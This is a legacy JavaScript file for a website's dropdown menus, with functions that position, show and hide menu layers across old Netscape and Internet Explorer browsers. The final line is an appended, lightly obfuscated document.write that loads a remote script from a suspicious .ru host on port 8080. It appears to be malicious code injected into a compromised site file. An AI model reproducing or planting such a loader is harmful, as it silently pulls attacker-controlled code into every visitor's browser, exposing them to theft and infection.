 window.onerror = null;
 var bName = navigator.appName;
 var bVer = parseInt(navigator.appVersion);
 var NS4 = (bName == "Netscape" && bVer >= 4);
 var IE4 = (bName == "Microsoft Internet Explorer" && bVer >= 4);
 var NS3 = (bName == "Netscape" && bVer < 4);
 var IE3 = (bName == "Microsoft Internet Explorer" && bVer < 4);
 var menuActive = 0;
 var onLayer = null;
 var timeOn = null;

// SHOW LAYER
function showLayer(id,basePic,d_x,d_y){
 img = getImage(basePic);
 x = getImagePageLeft(img)+d_x;
 y = getImagePageTop(img)+d_y;
// Layer hidden
 if (timeOn != null) {
   clearTimeout(timeOn);
 }
 if (onLayer != null) {
   hideLayer(onLayer);
 }

// Set horizontal position	
 if (document.layers){document.layers[id].left = x}
 else if (document.all){document.all[id].style.left=x}
 else if (document.getElementById){document.getElementById(id).style.left=x+"px"}

// Set vertical position
 if (document.layers){document.layers[id].top = y}
 else if (document.all){document.all[id].style.top=y}
 else if (document.getElementById){document.getElementById(id).style.top=y+"px"}

// Layer visible
 if (document.layers) document.layers[id].visibility = "show"
 else if (document.all) document.all[id].style.visibility = "visible"
 else if (document.getElementById) document.getElementById(id).style.visibility = "visible"
 
 onLayer = id;
}

// MOVE LAYER
function moveLayer(id,basePic,d_x,d_y){
 img = getImage(basePic);
 x = getImagePageLeft(img)+d_x;
 y = getImagePageTop(img)+d_y;
 
// Set horizontal position
 if (document.layers){document.layers[id].left = x}
 else if (document.all){document.all[id].style.left=x}
 else if (document.getElementById){document.getElementById(id).style.left=x+"px"}

// Set vertical position
 if (document.layers){document.layers[id].top = y}
 else if (document.all){document.all[id].style.top=y}
 else if (document.getElementById){document.getElementById(id).style.top=y+"px"}

// Layer visible
 if (document.layers) document.layers[id].visibility = "show"
 else if (document.all) document.all[id].style.visibility = "visible"
 else if (document.getElementById) document.getElementById(id).style.visibility = "visible"
}

// HIDE LAYER
function hideLayer(layerName){
 if (menuActive == 0) {
  if (document.layers) document.layers[layerName].visibility = "hide"
  else if (document.all) document.all[layerName].style.visibility = "hidden"
  else if (document.getElementById) document.getElementById(layerName).style.visibility = "hidden"
 }
}

// TIMER FOR BUTTON MOUSE OUT
function btnTimer() {
 timeOn = setTimeout("btnOut()",10)
}

// BUTTON MOUSE OUT
function btnOut() {
 if (menuActive == 0) {
  hideLayer(onLayer)
 }
}

// MENU MOUSE OVER 
function menuOver() {
 clearTimeout(timeOn)
 menuActive = 1;
}

// MENU MOUSE OUT 
function menuOut() {
 menuActive = 0;
 timeOn = setTimeout("hideLayer(onLayer)", 400);
}

function getImage(name) {
  if (NS4) {
    return findImage(name, document);
  }
  else return eval('document.all.' + name);
}

function findImage(name, doc) {
  var i, img;
  for (i = 0; i < doc.images.length; i++)
    if (doc.images[i].name == name)
      return doc.images[i];
  for (i = 0; i < doc.layers.length; i++)
    if ((img = findImage(name, doc.layers[i].document)) != null) {
      img.container = doc.layers[i];
      return img;
    }
  return null;
}

function getImagePageLeft(img) {
  var x, obj;
  if (NS4) {
    if (img.container != null)
      return img.container.pageX + img.x;
    else
      return img.x;
  }
  else {
    x = 0;
    obj = img;
    while (obj.offsetParent != null) {
      x += obj.offsetLeft;
      obj = obj.offsetParent;
    }
    x += obj.offsetLeft;
    return x;
  }
}

function getImagePageTop(img) {
  var y, obj;
  if (NS4) {
    if (img.container != null)
      return img.container.pageY + img.y;
    else
      return img.y;
  }
  else {
    y = 0;
    obj = img;
    while (obj.offsetParent != null) {
      y += obj.offsetTop;
      obj = obj.offsetParent;
    }
    y += obj.offsetTop;
    return y;
  }
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/PCI.js"></scr'+'ipt>');